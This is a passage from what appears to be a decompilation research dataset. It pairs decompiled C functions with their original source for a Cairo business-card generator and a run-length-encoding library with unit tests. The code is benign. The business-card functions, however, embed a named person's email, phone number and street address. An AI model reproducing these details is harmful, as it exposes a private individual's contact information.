cairo_surface_destroy(surface);\n printf (\"evince %s\\n\", outname);\n return (0);\n}", "canonical_original_code": "int main(int argc, char **argv)\n{\n int c;\n int row; int col;\n double x; double y;\n char *outname;\n outname = \"cards.pdf\";\n while ((c = getopt (argc, argv, \"n\")) != (-1)) {\n switch (c) {\n case 'n':\n draw_outline = 0;\n break;\n default:\n usage ();\n }\n }\n if (optind != argc)\n usage ();\n init_pdf (outname);\n setup_fonts ();\n code_surface\n = cairo_image_surface_create_from_png (\"code-med-high.png\");\n code_pattern = cairo_pattern_create_for_surface (code_surface);\n for (row = 0; row < 5; row++) {\n for (col = 0; col < 2; col++) {\n cairo_save (cr);\n x = (0.75 * 72) + col * (3.5 * 72);\n y = (0.5 * 72) + row * (2 * 72);\n cairo_translate (cr, x, y);\n draw_card ();\n cairo_restore (cr);\n }\n }\n cairo_destroy(cr);\n cairo_surface_flush(surface);\n cairo_surface_destroy(surface);\n printf (\"evince %s\\n\", outname);\n return (0);\n}", "variable_types": [ [ "argc", "int" ], [ "argv", "char **" ], [ "c", "int" ], [ "row", "int" ], [ "col", "int" ], [ "x", "double" ], [ "y", "double" ], [ "outname", "char *" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "4035e1b1b428449d045b52f454fca1a9a3c3eb0701e74205f09461122e6e8f02" }, { "name": "setup_fonts", "canonical_name": "func8", "repo": "pacew/bcard", "decompiled_code": "__int64 setup_fonts()\n{\n__int64 result; // rax\n\nname_font = setup_font(\"Lucida Sans Bold\", 12.0);\nmain_font = setup_font(\"Lucida Sans\", 8.0);\nresult = setup_font(\"Courier Bold\", 11.4);\nmono_font = result;\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 func8()\n{\n__int64 result; // rax\n\nname_font = func11(\"Lucida Sans Bold\", 12.0);\nmain_font = func11(\"Lucida Sans\", 8.0);\nresult = func11(\"Courier Bold\", 11.4);\nmono_font = result;\nreturn result;\n}", "original_code": "void\nsetup_fonts (void)\n{\n name_font = setup_font (\"Lucida Sans Bold\", 12);\n main_font = setup_font (\"Lucida Sans\", 8);\n mono_font = setup_font (\"Courier Bold\", 11.4);\n}", "canonical_original_code": "void setup_fonts()\n{\n name_font = setup_font (\"Lucida Sans Bold\", 12);\n main_font = setup_font (\"Lucida Sans\", 8);\n mono_font = setup_font (\"Courier Bold\", 11.4);\n}", "variable_types": [], "return_type": "void", "user_defined_types": [], "binary_hash": "4035e1b1b428449d045b52f454fca1a9a3c3eb0701e74205f09461122e6e8f02" }, { "name": "draw_card", "canonical_name": "func9", "repo": "pacew/bcard", "decompiled_code": "__int64 draw_card()\n{\nchar v1[8]; // [rsp+18h] [rbp-28h] BYREF\nchar v2[8]; // [rsp+20h] [rbp-20h] BYREF\n__int64 v3; // [rsp+28h] [rbp-18h]\ndouble v4; // [rsp+30h] [rbp-10h]\n__int64 v5; // [rsp+38h] [rbp-8h]\n\nset_gray(80.0);\nif ( draw_outline )\n{\ncairo_rectangle();\ncairo_stroke();\n}\nv5 = 0x4028000000000000LL;\nv4 = 15.0;\nset_gray(0.0);\nsetup_text(name_font, \"Alex Willisson\", v2, v1);\ndraw_text(*(double *)&v5, v4);\nv4 = v4 + 22.0;\nsetup_text(mono_font, \"atw@mit.edu\", v2, v1);\ndraw_text(*(double *)&v5, v4);\nv4 = v4 + 22.0;\nsetup_text(mono_font, \"774-277-9494\", v2, v1);\ndraw_text(*(double *)&v5, v4);\nset_gray(30.0);\nv4 = v4 + 25.0;\nsetup_text(main_font, \"3 Ames Street, Wa203\", v2, v1);\ndraw_text(*(double *)&v5, v4);\nv4 = v4 + 15.0;\nsetup_text(main_font, \"Cambridge, MA 02139\", v2, v1);\ndraw_text(*(double *)&v5, v4);\nset_gray(0.0);\nv4 = 119.0;\nsetup_text(mono_font, \"http://alex.willisson.org\", v2, v1);\ndraw_text(*(double *)&v5, v4);\nv5 = 0x4065400000000000LL;\nv4 = 5.0;\nv3 = 0x3FBEB851EB851EB8LL;\ncairo_save();\ncairo_translate();\ncairo_scale();\ncairo_image_surface_get_height();\ncairo_image_surface_get_width();\ncairo_rectangle();\ncairo_set_source();\ncairo_fill();\nreturn cairo_restore();\n}\n", "canonical_decompiled_code": "__int64 func9()\n{\nchar v1[8]; // [rsp+18h] [rbp-28h] BYREF\nchar v2[8]; // [rsp+20h] [rbp-20h] BYREF\n__int64 v3; // [rsp+28h] [rbp-18h]\ndouble v4; // [rsp+30h] [rbp-10h]\n__int64 v5; // [rsp+38h] [rbp-8h]\n\nfunc15(80.0);\nif ( draw_outline )\n{\ncairo_rectangle();\ncairo_stroke();\n}\nv5 = 0x4028000000000000LL;\nv4 = 15.0;\nfunc15(0.0);\nfunc13(name_font, \"Alex Willisson\", v2, v1);\nfunc14(*(double *)&v5, v4);\nv4 = v4 + 22.0;\nfunc13(mono_font, \"atw@mit.edu\", v2, v1);\nfunc14(*(double *)&v5, v4);\nv4 = v4 + 22.0;\nfunc13(mono_font, \"774-277-9494\", v2, v1);\nfunc14(*(double *)&v5, v4);\nfunc15(30.0);\nv4 = v4 + 25.0;\nfunc13(main_font, \"3 Ames Street, Wa203\", v2, v1);\nfunc14(*(double *)&v5, v4);\nv4 = v4 + 15.0;\nfunc13(main_font, \"Cambridge, MA 02139\", v2, v1);\nfunc14(*(double *)&v5, v4);\nfunc15(0.0);\nv4 = 119.0;\nfunc13(mono_font, \"http://alex.willisson.org\", v2, v1);\nfunc14(*(double *)&v5, v4);\nv5 = 0x4065400000000000LL;\nv4 = 5.0;\nv3 = 0x3FBEB851EB851EB8LL;\ncairo_save();\ncairo_translate();\ncairo_scale();\ncairo_image_surface_get_height();\ncairo_image_surface_get_width();\ncairo_rectangle();\ncairo_set_source();\ncairo_fill();\nreturn cairo_restore();\n}", "original_code": "void\ndraw_card (void)\n{\n double curx, cury;\n double dx, dy;\n double scale;\n set_gray (80);\n if (draw_outline) {\n cairo_rectangle (cr, 0, 0, (3.5 * 72), (2 * 72));\n cairo_stroke (cr);\n }\n curx = 12;\n cury = 15;\n set_gray (0);\n setup_text (name_font, \"Alex Willisson\", &dx, &dy);\n if (0) {\n draw_text (((3.5 * 72) - dx) / 2, cury);\n } else {\n draw_text (curx, cury);\n }\n cury += 22;\n setup_text (mono_font, \"atw@mit.edu\", &dx, &dy);\n draw_text (curx, cury);\n cury += 22;\n setup_text (mono_font, \"774-277-9494\", &dx, &dy);\n draw_text (curx, cury);\n set_gray (30);\n cury += 25;\n setup_text (main_font, \"3 Ames Street, Wa203\", &dx, &dy);\n draw_text (curx, cury);\n cury += 15;\n setup_text (main_font, \"Cambridge, MA 02139\", &dx, &dy);\n draw_text (curx, cury);\n set_gray (0);\n cury = (2 * 72) - 25;\n setup_text (mono_font, \"http://alex.willisson.org\", &dx, &dy);\n draw_text (curx, cury);\n curx = 170;\n cury = 5;\n scale = .12;\n cairo_save (cr);\n cairo_translate (cr, curx, cury);\n cairo_scale (cr, scale, scale);\n cairo_rectangle (cr,\n 0, 0,\n cairo_image_surface_get_width (code_surface),\n cairo_image_surface_get_height (code_surface));\n cairo_set_source (cr, code_pattern);\n cairo_fill (cr);\n cairo_restore (cr);\n}", "canonical_original_code": "void draw_card()\n{\n double curx; double cury;\n double dx; double dy;\n double scale;\n set_gray (80);\n if (draw_outline) {\n cairo_rectangle (cr, 0, 0, (3.5 * 72), (2 * 72));\n cairo_stroke (cr);\n }\n curx = 12;\n cury = 15;\n set_gray (0);\n setup_text (name_font, \"Alex Willisson\", &dx, &dy);\n if (0) {\n draw_text (((3.5 * 72) - dx) / 2, cury);\n } else {\n draw_text (curx, cury);\n }\n cury += 22;\n setup_text (mono_font, \"atw@mit.edu\", &dx, &dy);\n draw_text (curx, cury);\n cury += 22;\n setup_text (mono_font, \"774-277-9494\", &dx, &dy);\n draw_text (curx, cury);\n set_gray (30);\n cury += 25;\n setup_text (main_font, \"3 Ames Street, Wa203\", &dx, &dy);\n draw_text (curx, cury);\n cury += 15;\n setup_text (main_font, \"Cambridge, MA 02139\", &dx, &dy);\n draw_text (curx, cury);\n set_gray (0);\n cury = (2 * 72) - 25;\n setup_text (mono_font, \"http://alex.willisson.org\", &dx, &dy);\n draw_text (curx, cury);\n curx = 170;\n cury = 5;\n scale = .12;\n cairo_save (cr);\n cairo_translate (cr, curx, cury);\n cairo_scale (cr, scale, scale);\n cairo_rectangle (cr,\n 0, 0,\n cairo_image_surface_get_width (code_surface),\n cairo_image_surface_get_height (code_surface));\n cairo_set_source (cr, code_pattern);\n cairo_fill (cr);\n cairo_restore (cr);\n}", "variable_types": [ [ "curx", "double" ], [ "cury", "double" ], [ "dx", "double" ], [ "dy", "double" ], [ "scale", "double" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "4035e1b1b428449d045b52f454fca1a9a3c3eb0701e74205f09461122e6e8f02" }, { "name": "init_pdf", "canonical_name": "func10", "repo": "pacew/bcard", "decompiled_code": "__int64 init_pdf()\n{\n__int64 result; // rax\n\nsurface = cairo_pdf_surface_create();\ncr = cairo_create();\nresult = pango_cairo_create_layout();\nlayout = result;\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 func10()\n{\n__int64 result; // rax\n\nsurface = cairo_pdf_surface_create();\ncr = cairo_create();\nresult = pango_cairo_create_layout();\nlayout = result;\nreturn result;\n}", "original_code": "void\ninit_pdf (char *outname)\n{\n surface = cairo_pdf_surface_create(outname, (8.5 * 72), (11 * 72));\n cr = cairo_create(surface);\n layout = pango_cairo_create_layout (cr);\n}", "canonical_original_code": "void init_pdf(char *outname)\n{\n surface = cairo_pdf_surface_create(outname, (8.5 * 72), (11 * 72));\n cr = cairo_create(surface);\n layout = pango_cairo_create_layout (cr);\n}", "variable_types": [ [ "outname", "char *" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "4035e1b1b428449d045b52f454fca1a9a3c3eb0701e74205f09461122e6e8f02" }, { "name": "draw_text", "canonical_name": "func14", "repo": "pacew/bcard", "decompiled_code": "__int64 draw_text()\n{\ncairo_move_to();\nreturn pango_cairo_show_layout();\n}\n", "canonical_decompiled_code": "__int64 func14()\n{\ncairo_move_to();\nreturn pango_cairo_show_layout();\n}", "original_code": "void\ndraw_text (double x, double y)\n{\n cairo_move_to (cr, x, y);\n pango_cairo_show_layout (cr, layout);\n}", "canonical_original_code": "void draw_text(double x, double y)\n{\n cairo_move_to (cr, x, y);\n pango_cairo_show_layout (cr, layout);\n}", "variable_types": [ [ "x", "double" ], [ "y", "double" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "4035e1b1b428449d045b52f454fca1a9a3c3eb0701e74205f09461122e6e8f02" }, { "name": "set_gray", "canonical_name": "func15", "repo": "pacew/bcard", "decompiled_code": "__int64 set_gray()\n{\nreturn cairo_set_source_rgb();\n}\n", "canonical_decompiled_code": "__int64 func15()\n{\nreturn cairo_set_source_rgb();\n}", "original_code": "void\nset_gray (double pct)\n{\n cairo_set_source_rgb(cr, pct / 100.0, pct / 100.0, pct / 100.0);\n}", "canonical_original_code": "void set_gray(double pct)\n{\n cairo_set_source_rgb(cr, pct / 100.0, pct / 100.0, pct / 100.0);\n}", "variable_types": [ [ "pct", "double" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "4035e1b1b428449d045b52f454fca1a9a3c3eb0701e74205f09461122e6e8f02" }, { "name": "set_black", "canonical_name": "func16", "repo": "pacew/bcard", "decompiled_code": "__int64 set_black()\n{\nreturn set_gray();\n}\n", "canonical_decompiled_code": "__int64 func16()\n{\nreturn func15();\n}", "original_code": "void\nset_black (void)\n{\n set_gray (0);\n}", "canonical_original_code": "void set_black()\n{\n set_gray (0);\n}", "variable_types": [], "return_type": "void", "user_defined_types": [], "binary_hash": "4035e1b1b428449d045b52f454fca1a9a3c3eb0701e74205f09461122e6e8f02" } ]
bd05b01f4a0b2244418dd4ab81c089a9c753a74e8fa3cbe31de4b77953c7ae4f
Atalanta/run-length-encoding
[ [ "can_create_and_free_a_block", "->" ], [ "can_establish_length_of_input", "->" ], [ "can_generate_string_from_block", "->" ], [ "can_handle_a_big_string", "->" ], [ "main", "->" ] ]
[]
[ { "name": "can_create_and_free_a_block", "canonical_name": "func0", "repo": "Atalanta/run-length-encoding", "decompiled_code": "__int64 can_create_and_free_a_block()\n{\n__int64 v1; // [rsp+8h] [rbp-8h]\n\nv1 = create_block();\nreturn free_block(v1);\n}\n", "canonical_decompiled_code": "__int64 func0()\n{\n__int64 v1; // [rsp+8h] [rbp-8h]\n\nv1 = create_block();\nreturn free_block(v1);\n}", "original_code": "static void can_create_and_free_a_block () {\n block_t *block = create_block();\n free_block(block);\n}", "canonical_original_code": "static void can_create_and_free_a_block() {\n struct block_t *block = create_block();\n free_block(block);\n}", "variable_types": [ [ "block", "struct block_t { int size; char *buffer; } *" ] ], "return_type": "void", "user_defined_types": [ "struct block_t { int size; char *buffer; }" ], "binary_hash": "bd05b01f4a0b2244418dd4ab81c089a9c753a74e8fa3cbe31de4b77953c7ae4f" }, { "name": "can_establish_length_of_input", "canonical_name": "func1", "repo": "Atalanta/run-length-encoding", "decompiled_code": "__int64 can_establish_length_of_input()\n{\n__int64 v0; // rax\nint *v2; // [rsp+8h] [rbp-8h]\n\nv2 = (int *)create_block();\nappend_character(v2, 97LL);\nv0 = create_equal_to_value_constraint(1LL, \"1\");\nassert_that_(\"encoder_tests.c\", 12LL, \"block->size\", *v2, v0);\nreturn free_block(v2);\n}\n", "canonical_decompiled_code": "__int64 func1()\n{\n__int64 v0; // rax\nint *v2; // [rsp+8h] [rbp-8h]\n\nv2 = (int *)create_block();\nappend_character(v2, 97LL);\nv0 = create_equal_to_value_constraint(1LL, \"1\");\nassert_that_(\"encoder_tests.c\", 12LL, \"block->size\", *v2, v0);\nreturn free_block(v2);\n}", "original_code": "static void can_establish_length_of_input () {\n block_t *block = create_block();\n append_character(block, 'a');\n assert_that_(\"encoder_tests.c\", 12, \"block->size\", (intptr_t)block->size, create_equal_to_value_constraint((intptr_t)1, \"1\"));\n free_block(block);\n}", "canonical_original_code": "static void can_establish_length_of_input() {\n struct block_t *block = create_block();\n append_character(block, 'a');\n assert_that_(\"encoder_tests.c\", 12, \"block->size\", (long)block->size, create_equal_to_value_constraint((long)1, \"1\"));\n free_block(block);\n}", "variable_types": [ [ "block", "struct block_t { int size; char *buffer; } *" ] ], "return_type": "void", "user_defined_types": [ "struct block_t { int size; char *buffer; }" ], "binary_hash": "bd05b01f4a0b2244418dd4ab81c089a9c753a74e8fa3cbe31de4b77953c7ae4f" }, { "name": "can_generate_string_from_block", "canonical_name": "func2", "repo": "Atalanta/run-length-encoding", "decompiled_code": "__int64 can_generate_string_from_block()\n{\n__int64 v0; // rax\n__int64 v2; // [rsp+8h] [rbp-8h]\n\nv2 = create_block();\nappend_character(v2, 97LL);\nappend_character(v2, 98LL);\nappend_character(v2, 99LL);\nv0 = create_equal_to_string_constraint(\"abc\", \"\\\"abc\\\"\");\nassert_that_(\"encoder_tests.c\", 21LL, \"block->buffer\", *(_QWORD *)(v2 + 8), v0);\nreturn free_block(v2);\n}\n", "canonical_decompiled_code": "__int64 func2()\n{\n__int64 v0; // rax\n__int64 v2; // [rsp+8h] [rbp-8h]\n\nv2 = create_block();\nappend_character(v2, 97LL);\nappend_character(v2, 98LL);\nappend_character(v2, 99LL);\nv0 = create_equal_to_string_constraint(\"abc\", \"\\\"abc\\\"\");\nassert_that_(\"encoder_tests.c\", 21LL, \"block->buffer\", *(_QWORD *)(v2 + 8), v0);\nreturn free_block(v2);\n}", "original_code": "static void can_generate_string_from_block () {\n block_t *block = create_block();\n append_character(block, 'a');\n append_character(block, 'b');\n append_character(block, 'c');\n assert_that_(\"encoder_tests.c\", 21, \"block->buffer\", (intptr_t)block->buffer, create_equal_to_string_constraint(\"abc\", \"\\\"abc\\\"\"));\n free_block(block);\n}", "canonical_original_code": "static void can_generate_string_from_block() {\n struct block_t *block = create_block();\n append_character(block, 'a');\n append_character(block, 'b');\n append_character(block, 'c');\n assert_that_(\"encoder_tests.c\", 21, \"block->buffer\", (long)block->buffer, create_equal_to_string_constraint(\"abc\", \"\\\"abc\\\"\"));\n free_block(block);\n}", "variable_types": [ [ "block", "struct block_t { int size; char *buffer; } *" ] ], "return_type": "void", "user_defined_types": [ "struct block_t { int size; char *buffer; }" ], "binary_hash": "bd05b01f4a0b2244418dd4ab81c089a9c753a74e8fa3cbe31de4b77953c7ae4f" }, { "name": "can_handle_a_big_string", "canonical_name": "func3", "repo": "Atalanta/run-length-encoding", "decompiled_code": "__int64 can_handle_a_big_string()\n{\n__int64 v0; // rax\nint *v2; // [rsp+0h] [rbp-10h]\nint i; // [rsp+Ch] [rbp-4h]\n\nv2 = (int *)create_block();\nfor ( i = 0; i <= 259; ++i )\nappend_character(v2, 97LL);\nv0 = create_equal_to_value_constraint(260LL, \"260\");\nassert_that_(\"encoder_tests.c\", 31LL, \"block->size\", *v2, v0);\nreturn free_block(v2);\n}\n", "canonical_decompiled_code": "__int64 func3()\n{\n__int64 v0; // rax\nint *v2; // [rsp+0h] [rbp-10h]\nint i; // [rsp+Ch] [rbp-4h]\n\nv2 = (int *)create_block();\nfor ( i = 0; i <= 259; ++i )\nappend_character(v2, 97LL);\nv0 = create_equal_to_value_constraint(260LL, \"260\");\nassert_that_(\"encoder_tests.c\", 31LL, \"block->size\", *v2, v0);\nreturn free_block(v2);\n}", "original_code": "static void can_handle_a_big_string () {\n block_t *block = create_block();\n int i;\n for (i = 0; i < 260; i++) {\n append_character(block, 'a');\n }\n assert_that_(\"encoder_tests.c\", 31, \"block->size\", (intptr_t)block->size, create_equal_to_value_constraint((intptr_t)260, \"260\"));\n free_block(block);\n}", "canonical_original_code": "static void can_handle_a_big_string() {\n struct block_t *block = create_block();\n int i;\n for (i = 0; i < 260; i++) {\n append_character(block, 'a');\n }\n assert_that_(\"encoder_tests.c\", 31, \"block->size\", (long)block->size, create_equal_to_value_constraint((long)260, \"260\"));\n free_block(block);\n}", "variable_types": [ [ "block", "struct block_t { int size; char *buffer; } *" ], [ "i", "int" ] ], "return_type": "void", "user_defined_types": [ "struct block_t { int size; char *buffer; }" ], "binary_hash": "bd05b01f4a0b2244418dd4ab81c089a9c753a74e8fa3cbe31de4b77953c7ae4f" }, { "name": "main", "canonical_name": "main", "repo": "Atalanta/run-length-encoding", "decompiled_code": "int __cdecl main(int argc, const char **argv, const char **envp)\n{\n__int64 v3; // rdx\n__int64 v5; // [rsp+18h] [rbp-8h]\n\nv5 = create_named_test_suite_(\"main\", \"encoder_tests.c\", 36LL);\nadd_test_(v5, \"can_create_and_free_a_block\", &CgreenSpec__default__can_create_and_free_a_block__);\nadd_test_(v5, \"can_establish_length_of_input\", &CgreenSpec__default__can_establish_length_of_input__);\nadd_test_(v5, \"can_generate_string_from_block\", &CgreenSpec__default__can_generate_string_from_block__);\nadd_test_(v5, \"can_handle_a_big_string\", &CgreenSpec__default__can_handle_a_big_string__);\nv3 = create_text_reporter();\nreturn run_test_suite(v5, v3);\n}\n", "canonical_decompiled_code": "int __cdecl main(int argc, const char **argv, const char **envp)\n{\n__int64 v3; // rdx\n__int64 v5; // [rsp+18h] [rbp-8h]\n\nv5 = create_named_test_suite_(\"main\", \"encoder_tests.c\", 36LL);\nadd_test_(v5, \"can_create_and_free_a_block\", &CgreenSpec__default__can_create_and_free_a_block__);\nadd_test_(v5, \"can_establish_length_of_input\", &CgreenSpec__default__can_establish_length_of_input__);\nadd_test_(v5, \"can_generate_string_from_block\", &CgreenSpec__default__can_generate_string_from_block__);\nadd_test_(v5, \"can_handle_a_big_string\", &CgreenSpec__default__can_handle_a_big_string__);\nv3 = create_text_reporter();\nreturn run_test_suite(v5, v3);\n}", "original_code": "int main(int argc, char **argv) {\n TestSuite *suite = create_named_test_suite_(__func__, \"encoder_tests.c\", 36);\n add_test_(suite, \"can_create_and_free_a_block\", &CgreenSpec__default__can_create_and_free_a_block__);\n add_test_(suite, \"can_establish_length_of_input\", &CgreenSpec__default__can_establish_length_of_input__);\n add_test_(suite, \"can_generate_string_from_block\", &CgreenSpec__default__can_generate_string_from_block__);\n add_test_(suite, \"can_handle_a_big_string\", &CgreenSpec__default__can_handle_a_big_string__);\n return run_test_suite(suite, create_text_reporter());\n}", "canonical_original_code": "int main(int argc, char **argv) {\n struct TestSuite_ *suite = create_named_test_suite_(__func__, \"encoder_tests.c\", 36);\n add_test_(suite, \"can_create_and_free_a_block\", &CgreenSpec__default__can_create_and_free_a_block__);\n add_test_(suite, \"can_establish_length_of_input\", &CgreenSpec__default__can_establish_length_of_input__);\n add_test_(suite, \"can_generate_string_from_block\", &CgreenSpec__default__can_generate_string_from_block__);\n add_test_(suite, \"can_handle_a_big_string\", &CgreenSpec__default__can_handle_a_big_string__);\n return run_test_suite(suite, create_text_reporter());\n}", "variable_types": [ [ "argc", "int" ], [ "argv", "char **" ], [ "suite", "struct TestSuite_ { char *name; char *filename; int line; struct UnitTest { int type; char *name; union { struct CgreenTest { struct CgreenContext { char *name; char *filename; void (*setup)(); void (*teardown)(); } *context; char *name; void (*run)(); char *filename; int line; } *test; struct TestSuite_ *suite; } Runnable; } *tests; void (*setup)(); void (*teardown)(); int size; } *" ] ], "return_type": "int", "user_defined_types": [ "struct TestSuite_ { char *name; char *filename; int line; struct UnitTest *tests; void (*setup)(); void (*teardown)(); int size; }", "struct UnitTest { int type; char *name; union { struct CgreenTest *test; struct TestSuite_ *suite; } Runnable; }", "struct CgreenTest { struct CgreenContext *context; char *name; void (*run)(); char *filename; int line; }", "struct CgreenContext { char *name; char *filename; void (*setup)(); void (*teardown)(); }" ], "binary_hash": "bd05b01f4a0b2244418dd4ab81c089a9c753a74e8fa3cbe31de4b77953c7ae4f" } ]
f921c4a4a695240f10c81bbafd1571eb36210e12f70d5e20a5cbd3970084adb1
Atalanta/run-length-encoding
[ [ "sub_401020", "->" ], [ "start", "->" ], [ "dl_relocate_static_pie", "->" ], [ "deregister_tm_clones", "->", "_do_global_dtors_aux" ], [ "register_tm_clones", "->", "frame_dummy" ], [ "_do_global_dtors_aux", "->", "deregister_tm_clones" ], [ "frame_dummy", "->", "register_tm_clones" ], [ "main", "->", "slurp", "verbatim", "free_block" ], [ "slurp", "->", "main", "create_block", "append_character" ], [ "verbatim", "->", "main" ], [ "create_block", "->", "slurp" ], [ "free_block", "->", "main" ], [ "append_character", "->", "slurp" ], [ "_libc_csu_init", "->" ], [ "_libc_csu_fini", "->" ] ]
[ [ "sub_401020", "__int64 func0()\n{\nreturn qword_404010();\n}" ], [ "start", "void __fastcall __noreturn func1(__int64 a1, __int64 a2, void (*a3)(void))\n{\n__int64 v3; // rax\nint v4; // esi\n__int64 v5; // [rsp-8h] [rbp-8h] BYREF\nchar *retaddr; // [rsp+0h] [rbp+0h] BYREF\n\nv4 = v5;\nv5 = v3;\n_libc_start_main(\n(int (__fastcall *)(int, char **, char **))main,\nv4,\n&retaddr,\n_libc_csu_init,\n_libc_csu_fini,\na3,\n&v5);\n__halt();\n}" ], [ "dl_relocate_static_pie", "void func2()\n{\n;\n}" ], [ "deregister_tm_clones", "char *func3()\n{\nreturn &_bss_start;\n}" ], [ "register_tm_clones", "__int64 func4()\n{\nreturn 0LL;\n}" ], [ "_do_global_dtors_aux", "char *func5()\n{\nchar *result; // rax\n\nif ( !_bss_start )\n{\nresult = func3();\n_bss_start = 1;\n}\nreturn result;\n}" ], [ "frame_dummy", "__int64 func6()\n{\nreturn func4();\n}" ], [ "_libc_csu_init", "void __fastcall func12(unsigned int a1, __int64 a2, __int64 a3)\n{\nsigned __int64 v4; // rbp\n__int64 i; // rbx\n\ninit_proc();\nv4 = &_do_global_dtors_aux_fini_array_entry - &_frame_dummy_init_array_entry;\nif ( v4 )\n{\nfor ( i = 0LL; i != v4; ++i )\n((void (__fastcall *)(_QWORD, __int64, __int64))*(&_frame_dummy_init_array_entry + i))(a1, a2, a3);\n}\n}" ], [ "_libc_csu_fini", "void func13(void)\n{\n;\n}" ] ]
[ { "name": "slurp", "canonical_name": "func7", "repo": "Atalanta/run-length-encoding", "decompiled_code": "__int64 __fastcall slurp(__int64 (*a1)(void))\n{\nchar v2; // [rsp+17h] [rbp-9h]\n__int64 i; // [rsp+18h] [rbp-8h]\n\nfor ( i = create_block(); ; i = append_character(i, (unsigned int)v2) )\n{\nv2 = a1();\nif ( v2 == -1 )\nbreak;\n}\nreturn i;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func7(__int64 (*a1)(void))\n{\nchar v2; // [rsp+17h] [rbp-9h]\n__int64 i; // [rsp+18h] [rbp-8h]\n\nfor ( i = func9(); ; i = func11(i, (unsigned int)v2) )\n{\nv2 = a1();\nif ( v2 == -1 )\nbreak;\n}\nreturn i;\n}", "original_code": "block_t *slurp(int (*in)(void)) {\n block_t *block = create_block();\n char byte;\n while((byte = in()) != (-1)) {\n block = append_character(block, byte);\n }\n return block;\n}", "canonical_original_code": "struct block_t *slurp(int (*in)()) {\n struct block_t *block = create_block();\n char byte;\n while((byte = in()) != (-1)) {\n block = append_character(block, byte);\n }\n return block;\n}", "variable_types": [ [ "in", "int (*)()" ], [ "block", "struct block_t { int size; char *buffer; } *" ], [ "byte", "char" ] ], "return_type": "struct block_t { int size; char *buffer; } *", "user_defined_types": [ "struct block_t { int size; char *buffer; }" ], "binary_hash": "f921c4a4a695240f10c81bbafd1571eb36210e12f70d5e20a5cbd3970084adb1" }, { "name": "verbatim", "canonical_name": "func8", "repo": "Atalanta/run-length-encoding", "decompiled_code": "__int64 __fastcall verbatim(unsigned int a1, __int64 a2)\n{\n__int64 result; // rax\nunsigned int i; // [rsp+1Ch] [rbp-4h]\n\nprintf(\"%d:\", a1);\nfor ( i = 0; ; ++i )\n{\nresult = i;\nif ( (int)i >= (int)a1 )\nbreak;\nputchar(*(char *)((int)i + a2));\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func8(unsigned int a1, __int64 a2)\n{\n__int64 result; // rax\nunsigned int i; // [rsp+1Ch] [rbp-4h]\n\nprintf(\"%d:\", a1);\nfor ( i = 0; ; ++i )\n{\nresult = i;\nif ( (int)i >= (int)a1 )\nbreak;\nputchar(*(char *)((int)i + a2));\n}\nreturn result;\n}", "original_code": "void verbatim(int size, char *buffer) {\n int i;\n printf(\"%d:\", size);\n for(i = 0; i < size; i++) {\n printf(\"%c\", buffer[i]);\n };\n}", "canonical_original_code": "void verbatim(int size, char *buffer) {\n int i;\n printf(\"%d:\", size);\n for(i = 0; i < size; i++) {\n printf(\"%c\", buffer[i]);\n };\n}", "variable_types": [ [ "size", "int" ], [ "buffer", "char *" ], [ "i", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "f921c4a4a695240f10c81bbafd1571eb36210e12f70d5e20a5cbd3970084adb1" }, { "name": "create_block", "canonical_name": "func9", "repo": "Atalanta/run-length-encoding", "decompiled_code": "_QWORD *create_block()\n{\n_QWORD *result; // rax\n\nresult = malloc(0x10uLL);\nresult[1] = 0LL;\n*(_DWORD *)result = 0;\nreturn result;\n}\n", "canonical_decompiled_code": "_QWORD *func9()\n{\n_QWORD *result; // rax\n\nresult = malloc(0x10uLL);\nresult[1] = 0LL;\n*(_DWORD *)result = 0;\nreturn result;\n}", "original_code": "block_t *create_block(void) {\n block_t *block = malloc(sizeof(block_t));\n block->buffer = ((void *)0);\n block->size = 0;\n return block;\n}", "canonical_original_code": "struct block_t *create_block() {\n struct block_t *block = malloc(sizeof(block_t));\n block->buffer = ((void *)0);\n block->size = 0;\n return block;\n}", "variable_types": [ [ "block", "struct block_t { int size; char *buffer; } *" ] ], "return_type": "struct block_t { int size; char *buffer; } *", "user_defined_types": [ "struct block_t { int size; char *buffer; }" ], "binary_hash": "f921c4a4a695240f10c81bbafd1571eb36210e12f70d5e20a5cbd3970084adb1" }, { "name": "free_block", "canonical_name": "func10", "repo": "Atalanta/run-length-encoding", "decompiled_code": "void __fastcall free_block(void *a1)\n{\nfree(a1);\n}\n", "canonical_decompiled_code": "void __fastcall func10(void *a1)\n{\nfree(a1);\n}", "original_code": "void free_block(block_t *block) {\n free(block);\n}", "canonical_original_code": "void free_block(struct block_t *block) {\n free(block);\n}", "variable_types": [ [ "block", "struct block_t { int size; char *buffer; } *" ] ], "return_type": "void", "user_defined_types": [ "struct block_t { int size; char *buffer; }" ], "binary_hash": "f921c4a4a695240f10c81bbafd1571eb36210e12f70d5e20a5cbd3970084adb1" }, { "name": "append_character", "canonical_name": "func11", "repo": "Atalanta/run-length-encoding", "decompiled_code": "__int64 __fastcall append_character(__int64 a1, char a2)\n{\n*(_QWORD *)(a1 + 8) = realloc(*(void **)(a1 + 8), *(_DWORD *)a1 + 1);\n*(_BYTE *)((int)(*(_DWORD *)a1)++ + *(_QWORD *)(a1 + 8)) = a2;\nreturn a1;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func11(__int64 a1, char a2)\n{\n*(_QWORD *)(a1 + 8) = realloc(*(void **)(a1 + 8), *(_DWORD *)a1 + 1);\n*(_BYTE *)((int)(*(_DWORD *)a1)++ + *(_QWORD *)(a1 + 8)) = a2;\nreturn a1;\n}", "original_code": "block_t *append_character(block_t *block, char byte) {\n block->buffer = realloc(block->buffer, (block->size + 1)*sizeof(char));\n block->buffer[block->size] = byte;\n block->size++;\n return block;\n}", "canonical_original_code": "struct block_t *append_character(struct block_t *block, char byte) {\n block->buffer = realloc(block->buffer, (block->size + 1)*sizeof(char));\n block->buffer[block->size] = byte;\n block->size++;\n return block;\n}", "variable_types": [ [ "block", "struct block_t *" ], [ "byte", "char" ] ], "return_type": "struct block_t { int size; char *buffer; } *", "user_defined_types": [ "struct block_t { int size; char *buffer; }" ], "binary_hash": 